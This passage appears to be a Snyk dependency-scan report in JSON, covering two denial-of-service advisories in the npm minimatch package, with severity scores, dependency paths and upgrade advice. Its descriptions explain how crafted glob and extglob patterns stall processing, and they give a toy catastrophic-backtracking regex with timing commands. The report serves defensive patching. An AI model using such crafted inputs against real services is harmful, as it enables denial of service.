"2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the 